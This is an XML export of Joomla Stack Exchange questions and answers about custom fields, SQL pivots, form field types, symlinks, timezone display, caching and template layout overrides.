  <row Id="23919" PostTypeId="1" CreationDate="2018-12-15T06:17:48.493" Score="3" ViewCount="891" Body="&lt;p&gt;I want to know how they get the values of custom user fields within Joomla articles. This is to contribute ideas and ways to solve it.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="12352" LastEditDate="2021-05-04T22:53:58.453" LastActivityDate="2021-05-04T22:53:58.453" Title="How to get Custom Fields related to Joomla Content?" Tags="|joomla-3.x|mysql|custom-field|jdatabase|pivot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23920" PostTypeId="2" ParentId="23919" CreationDate="2018-12-15T07:08:08.533" Score="0" Body="&lt;p&gt;With the following code you can obtain the values directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userId = JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;id;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('value');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__fields_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('item_id').&quot; = &quot;.$db-&amp;gt;quote($userId));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$fields = $db-&amp;gt;loadColumn();&#xA;foreach ($fields as $field) {&#xA;    echo $field;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="12352" LastEditDate="2018-12-15T21:57:59.977" LastActivityDate="2018-12-15T21:57:59.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23921" PostTypeId="2" ParentId="23919" CreationDate="2018-12-15T08:34:51.583" Score="1" Body="&lt;p&gt;Let's say you have two custom fields in your database.  In the &lt;code&gt;#__fields_values&lt;/code&gt; table:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;1&lt;/code&gt; relates to the custom field called &quot;genre&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;2&lt;/code&gt; relates to the custom field called &quot;somethingelse&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To use pure sql to extract a single article's custom values and assign meaningful column aliases you can use a technique called a pivot -- it effectively &quot;rotates&quot; the alignment of the data 90&amp;deg; so-to-speak.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userId = JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;id;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select([&#xA;                  &quot;MAX(CASE WHEN field_id = 1 THEN value ELSE NULL END) AS genre&quot;,&#xA;                  &quot;MAX(CASE WHEN field_id = 2 THEN value ELSE NULL END) AS somethingelse&quot;&#xA;              ])&#xA;            -&amp;gt;from(&quot;#__fields_values&quot;)&#xA;            -&amp;gt;where(&quot;item_id = &quot; . (int)$userId);&#xA;            -&amp;gt;group(&quot;item_id&quot;)&#xA;echo $query-&amp;gt;dump();  // display the rendered query&#xA;$db-&amp;gt;setQuery($query);&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;var_export($db-&amp;gt;loadObject());  // output the data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this snippet, the following info will be presented.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT MAX(CASE WHEN field_id = 3 THEN value ELSE NULL END) AS name,MAX(CASE WHEN field_id = 4 THEN value ELSE NULL END) AS location&#xA;FROM abcde_fields_values&#xA;WHERE item_id = 1&#xA;GROUP BY item_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass::__set_state(array(&#xA;  'genre' =&amp;gt; 'Sci-Fi',&#xA;  'somethingelse' =&amp;gt; 'Some random text',&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result set is a single row of associative keyed values.  If a particular value doesn't exist for an article, &lt;code&gt;null&lt;/code&gt; will be assigned as the fallback value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not using a pivot will mean your result set will have &lt;em&gt;n&lt;/em&gt; rows with one value in each row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While less compelling when dealing with a single article, this coding technique is a clean, direct, and powerful way to package multiple articles (just be sure to generate the result set with &lt;code&gt;loadObjectList()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;MAX(CASE(...&lt;/code&gt; syntax in the &lt;code&gt;SELECT&lt;/code&gt; as many times as you like to continue grabbing more data that may exist in the &quot;aggregrate&quot; generated by &lt;code&gt;GROUP BY&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-15T11:46:31.420" LastActivityDate="2018-12-15T11:46:31.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23924" PostTypeId="1" CreationDate="2018-12-16T12:38:17.467" Score="0" ViewCount="349" Body="&lt;p&gt;How do I query the joomla custom field group and its content (if it exists)? I want the content of field groups to be &quot;implemented&quot; in the joomla's template com_content/article/default.php file. My basic concept already exists, I want to see the contents of each group under different tabs. I could ask about the content of the fields, but unfortunately I can not access the field groups. Can somebody give me some help in this? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In my example I'm not interested of the user groups.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: I have created three field groups with different fields. (in this example only the field group names are listed, Field group 1, Field group 2, Field group 3). I would like to display the content of the field groups: (Field group 1 content, Field group 2 content, Field group 3 content)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav nav-tabs&quot; id=&quot;myTab&quot; role=&quot;tablist&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;nav-link active&quot; id=&quot;home-tab&quot; data-toggle=&quot;tab&quot; href=&quot;#home&quot; role=&quot;tab&quot; aria-controls=&quot;home&quot; aria-selected=&quot;true&quot;&amp;gt;Field group 1&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;nav-link&quot; id=&quot;profile-tab&quot; data-toggle=&quot;tab&quot; href=&quot;#profile&quot; role=&quot;tab&quot; aria-controls=&quot;profile&quot; aria-selected=&quot;false&quot;&amp;gt;Field group 2&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;nav-link&quot; id=&quot;contact-tab&quot; data-toggle=&quot;tab&quot; href=&quot;#contact&quot; role=&quot;tab&quot; aria-controls=&quot;contact&quot; aria-selected=&quot;false&quot;&amp;gt;Field group 3&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;div class=&quot;tab-content&quot; id=&quot;myTabContent&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;tab-pane fade show active&quot; id=&quot;home&quot; role=&quot;tabpanel&quot; aria-labelledby=&quot;home-tab&quot;&amp;gt;Field group 1 content&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;profile&quot; role=&quot;tabpanel&quot; aria-labelledby=&quot;profile-tab&quot;&amp;gt;Field group 2 content&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;contact&quot; role=&quot;tabpanel&quot; aria-labelledby=&quot;contact-tab&quot;&amp;gt;Field group 3 content&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13158" LastActivityDate="2018-12-16T19:31:48.473" Title="How do I get of joomla's custom field group and its content" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23925" PostTypeId="1" CreationDate="2018-12-16T12:48:58.113" Score="0" ViewCount="271" Body="&lt;p&gt;I developed a &lt;strong&gt;&lt;em&gt;plugin&lt;/em&gt;&lt;/strong&gt; for Joomla!, and I have the below sql parameter field in my sampleplugin.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;cb_fields&quot;&#xA;    type=&quot;sql&quot;&#xA;    label=&quot;Select CB fields&quot;&#xA;    query=&quot;SELECT name FROM #__comprofiler_fields WHERE `table`= '#__comprofiler' AND `published`='1' AND `type`='text'&quot;&#xA;    key_field=&quot;name&quot;&#xA;    value_field=&quot;name&quot;&#xA;    multiple=&quot;multiple&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got sql error because the CB is not installed on a client's website. The problem is how to check if the table #__comprofiler_fields exists first before getting data from there ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12444" LastActivityDate="2023-12-21T01:05:45.773" Title="Use the “sql” form field type in extension xml only if the table exists" Tags="|plugin|sql|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23926" PostTypeId="2" ParentId="23925" CreationDate="2018-12-16T15:06:00.487" Score="0" Body="&lt;p&gt;Create a custom form field type. From SQL form field type documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using this generic form field type forces you to write SQL in an XML&#xA;  file and is rather limited. For more flexibility, consider creating&#xA;  your own, specific form field type by subclassing the JFormField&#xA;  class.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/SQL_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-16T15:06:00.487" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23928" PostTypeId="2" ParentId="23924" CreationDate="2018-12-16T19:24:33.833" Score="1" Body="&lt;pre&gt;&lt;code&gt;// GET YOUR CUSTOM FIELDS&#xA;&#xA;$myCustomFields = array();&#xA;    foreach($this-&amp;gt;item-&amp;gt;jcfields as $field) {&#xA;        $myCustomFields[$field-&amp;gt;name] = $field-&amp;gt;value; } &#xA;&#xA;// Value of Custom Field with the Field Name &quot;Custom_Field_Content&quot;&#xA;&#xA;$Custom_Field_Content = $myCustomFields['Custom_Field_Content'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can use PHP to insert the Value&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($Custom_Field_Content)) echo $Custom_Field_Content; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11136" LastEditorUserId="11136" LastEditDate="2018-12-16T19:31:48.473" LastActivityDate="2018-12-16T19:31:48.473" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23930" PostTypeId="1" AcceptedAnswerId="24811" CreationDate="2018-12-17T08:01:54.777" Score="1" ViewCount="194" Body="&lt;p&gt;Joomla is on Win2012 R2, XAMPP, Fabrik.&#xA;I created a symlink like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\Administrator&amp;gt;mklink /D &amp;quot;C:\xampp\htdocs\pdf&amp;quot; &amp;quot;Z:\&amp;quot;&#xA;symbolic link created for C:\xampp\htdocs\pdf &amp;lt;&amp;lt;===&amp;gt;&amp;gt; Z:\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I point the file upload element to the above directory, and I try to add a new record, there is the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JFolder: :folder: Path is not a folder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Needless to say that even though it shows the form, it doesn't save it.&lt;/p&gt;&#xA;&lt;p&gt;I did this so that I can save the PDFs on a LAN location.&lt;/p&gt;&#xA;&lt;p&gt;I already assigned the administrator username and password to Apache in Services, it doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;How do I create symlinks in Win that Joomla will take as a directory, or how to disable the &lt;code&gt;is_dir()&lt;/code&gt; check in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="13161" LastEditorUserId="12352" LastEditDate="2021-04-24T20:55:53.530" LastActivityDate="2021-04-24T20:55:53.530" Title="mklink and JFolder: :folder: Path is not a folder [due to is_dir()]" Tags="|php|xampp|symlink|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23933" PostTypeId="2" ParentId="22143" CreationDate="2018-12-17T22:26:27.873" Score="1" Body="&lt;p&gt;At the bottom of this page it shows you how to do something similar. &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you may wish to do an override of the already existing categories form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Category_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Category_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a full list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Standard_form_field_types&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-12-17T22:26:27.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23934" PostTypeId="1" AcceptedAnswerId="23935" CreationDate="2018-12-19T07:06:33.103" Score="1" ViewCount="414" Body="&lt;p&gt;I'm building a Joomla-component (as an example I use com_weblinks) and in the category view I want to have extra fields, e.g. a field for choosing from several layout themes. In default.xml I've added extra fields/fieldset. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;extrafields&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;extrafields&quot;&amp;gt;&#xA;           &amp;lt;field &#xA;               name=&quot;theme&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I'm trying to call this param in default_items.php with e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$theme = $this-&amp;gt;extrafields-&amp;gt;get('theme');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error on frontend 'Call to a member function get() on null'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I place the extra field under the params fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot; label=&quot;JGLOBAL_CATEGORY_OPTIONS&quot;&amp;gt;&#xA;            &amp;lt;field &#xA;                name=&quot;theme&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then calling this param with e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $theme = $this-&amp;gt;params-&amp;gt;get('theme');&#xA; echo $theme;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of the chosen theme is correctly displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out what I'm doing wrong. Have I missed something? Do I have to put extra code in view.html.php?&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-08-02T05:39:12.630" Title="Call to a member function get() on null when adding extra custom fields in default.xml" Tags="|fields|joomla-3.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23935" PostTypeId="2" ParentId="23934" CreationDate="2018-12-19T09:16:43.840" Score="0" Body="&lt;p&gt;The error occurs because you do not have any code for saving and retrieving your field data. &lt;code&gt;$this-&amp;gt;extrafields&lt;/code&gt; is undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this depends on how and where you want to store your data. If you have no preference and just want the fields to have their own tab in the form, keep using &lt;code&gt;params&lt;/code&gt; field group but use a custom fieldset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;extrafields&quot;&amp;gt;&#xA;        &amp;lt;field &#xA;            name=&quot;theme&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way your fields are stored along with params and are accessible the same way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params-&amp;gt;get('theme');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-08-02T05:39:12.630" LastActivityDate="2019-08-02T05:39:12.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23936" PostTypeId="1" AcceptedAnswerId="23937" CreationDate="2018-12-19T09:38:08.250" Score="1" ViewCount="70" Body="&lt;p&gt;I've set up an edit column in the database, it stamps the correct time whenever a change is made to the database entry. For some odd reason whenever this datetime displays it displays 5 hours behind the time stamp in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can figure to do is add 5 hours to the time, but I can't seem to get any combinations from the online examples to simply add 5 hours to the stamp. Was hoping someone could help me out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($comment-&amp;gt;deleted == 1) {  } else { &#xA;&#xA;   $db = JFactory::getDbo();&#xA;   $db-&amp;gt;setQuery('SELECT editdate &#xA;                  FROM #__jcomments&#xA;                  WHERE id = ' . $comment-&amp;gt;id .'');&#xA;   $db-&amp;gt;loadResult();&#xA;   $edit = $db-&amp;gt;loadResult();&#xA;&#xA;   if ($edit &amp;gt; 0) { &#xA;   echo JHtml::_('date', $edit, JText::_('l F j Y g:ia'));  } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="12352" LastEditDate="2018-12-25T10:36:35.073" LastActivityDate="2018-12-25T10:36:35.073" Title="How to add 5 hours to a datetime stamp?" Tags="|extensions|global-configuration|date|jdate|timezone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23937" PostTypeId="2" ParentId="23936" CreationDate="2018-12-19T10:01:20.670" Score="3" Body="&lt;p&gt;By default &lt;code&gt;JHtml::date()&lt;/code&gt; accounts for user's timezone, which, if not set, defaults to site's timezone (set in Global Configuration). Pass another argument with value &lt;code&gt;null&lt;/code&gt; to leave the date as is. Also, because you're using a hardcoded string for format, you don't need to wrap it in &lt;code&gt;JText::_()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('date', $edit, 'l F j Y g:ia', null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also remove first instance of &lt;code&gt;$db-&amp;gt;loadResult()&lt;/code&gt;. By having two of these you are running the query twice.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-12-19T12:50:45.313" LastActivityDate="2018-12-19T12:50:45.313" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23938" PostTypeId="2" ParentId="22787" CreationDate="2018-12-19T15:30:01.440" Score="1" Body="&lt;p&gt;This question is a bit beyond scope of the SE but I would like to give you a direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create you own JFormField that can open a modal window. Joomla uses this technique in com_menu selecting com_content articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look at &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/b67cf1d309717878b70ae140085152412c6dd0b9/administrator/components/com_content/models/fields/modal/article.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;JFormFieldModal_Article&lt;/a&gt;, this should give you an example how the field could look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part is the editor window, you need a component where you can edit the table. In this component you can add a &quot;modal&quot; layout to the edit view. In com_content this can be found at &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/b67cf1d309717878b70ae140085152412c6dd0b9/administrator/components/com_content/views/article/tmpl/modal.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;view/article/tmpl/modal.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complete task is not trivial and you need some knowledge in creating Joomla! components.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2018-12-19T15:30:01.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23939" PostTypeId="2" ParentId="21589" CreationDate="2018-12-19T15:39:15.810" Score="2" Body="&lt;p&gt;I don't think this is possible out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can create your own JFormField which creates wrapper around the subform.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2018-12-19T15:39:15.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23940" PostTypeId="1" AcceptedAnswerId="23941" CreationDate="2018-12-19T16:21:25.043" Score="0" ViewCount="130" Body="&lt;p&gt;Is there a way to set mobile/cell view to desktop view? I've seen sites have a switch between mobile and desktop view, can Joomla! be set to desktop view as default?&lt;/p&gt;&#xA;" OwnerUserId="13028" LastActivityDate="2018-12-20T09:47:30.587" Title="Is there a way to set mobile/cell view to desktop?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23941" PostTypeId="2" ParentId="23940" CreationDate="2018-12-20T09:47:30.587" Score="0" Body="&lt;p&gt;Some templates can be set to desktop mode or responsive mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need website visitors to switch between these, you could install one of these templates, make a copy of the template and set one to responsive and one to non-responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then install a template switcher to switch between them. There are free template switchers such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/template-selector&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Selector&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/cg-template-switcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;CG Template Switcher&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-12-20T09:47:30.587" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23942" PostTypeId="2" ParentId="2513" CreationDate="2018-12-20T12:52:42.710" Score="0" Body="&lt;p&gt;As a pure css solution, you can use &lt;code&gt;nth-of-type()&lt;/code&gt; to target the submenu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my local test, these selectors worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.deeper &amp;gt; ul.nav-child &amp;gt; li.deeper:nth-of-type(1) &amp;gt; a {&#xA;    font-weight: bold;&#xA;}&#xA;&#xA;li.deeper &amp;gt; ul.nav-child &amp;gt; li.deeper:nth-of-type(2) &amp;gt; a {&#xA;    font-style: italic;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IwE5B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwE5B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My screenshot shows that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first submenu is bold&lt;/li&gt;&#xA;&lt;li&gt;The second submenu is italic&lt;/li&gt;&#xA;&lt;li&gt;The third submenu has no custom style applied&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These selectors may or may not work &quot;right out of the box&quot; for your project -- results may vary depending on your menu structure and intended styling for other submenus.  Just use your browser's developer tools to inspect elements and determine the right classes and hierarchy to target the desired elements.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-12-20T12:52:42.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23944" PostTypeId="1" AcceptedAnswerId="23991" CreationDate="2018-12-20T20:19:07.850" Score="1" ViewCount="325" Body="&lt;p&gt;Joomla has a nice &quot;Clear Cache&quot; page that lists cached content and lets you delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to allow cached content from my module to be deleted from there. I'm using Joomla's built-in cache methods to cache data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JFactory::getCache();&#xA;$cache-&amp;gt;setCaching( 1 );&#xA;$result = $cache-&amp;gt;call('function', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The files generated by this code are stored in /cache. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PPJBz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPJBz.png&quot; alt=&quot;List of files in the cache directory. There are several small php cache files with gibberish names, and a folder called &amp;quot;banners&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The folder at /cache/banners is where I would like the cache files to be stored. That's because in the &quot;Clear Cache&quot; page, only sub-directories seem to be clearable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ybBNp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybBNp.png&quot; alt=&quot;Joomla&amp;#39;s &amp;quot;Clear Cache&amp;quot; page. There is only one selectable entry, &amp;quot;banners&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken a look through &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Cache.Cache.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's api&lt;/a&gt;, but I don't see any obvious methods for setting the cache directory. I do see some methods mentioning things like &quot;cache groups&quot;, which seems close. Am I on the right track?&lt;/p&gt;&#xA;" OwnerUserId="8455" LastActivityDate="2019-01-02T19:50:26.040" Title="Can I set the directory that Joomla cache will store data in for my module?" Tags="|joomla-3.x|php|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23945" PostTypeId="1" CreationDate="2018-12-21T01:18:46.060" Score="1" ViewCount="129" Body="&lt;p&gt;I have Windows 10 and IIS up and running, I was wanting to know if there was a way to set-up Joomla with MS SQL on windows 10 and IIS?&lt;/p&gt;&#xA;" OwnerUserId="13168" LastActivityDate="2023-12-26T09:00:20.047" Title="Install Joomla On Windows 10 And Use MS SQL As Back-End" Tags="|joomla-3.x|iis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23948" PostTypeId="1" CreationDate="2018-12-21T11:12:40.410" Score="1" ViewCount="492" Body="&lt;p&gt;I can see there's an option to choose a layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oCUPE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCUPE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add new custom layout with template override?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several way for eg. &lt;code&gt;html/layouts/mylayout.php&lt;/code&gt;, &lt;code&gt;html/com_content/category/default_mylayout.php&lt;/code&gt;. But none is working. So, how should I do?&lt;/p&gt;&#xA;" OwnerUserId="7206" LastActivityDate="2020-06-13T22:00:55.127" Title="How to add new layout in menu item?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
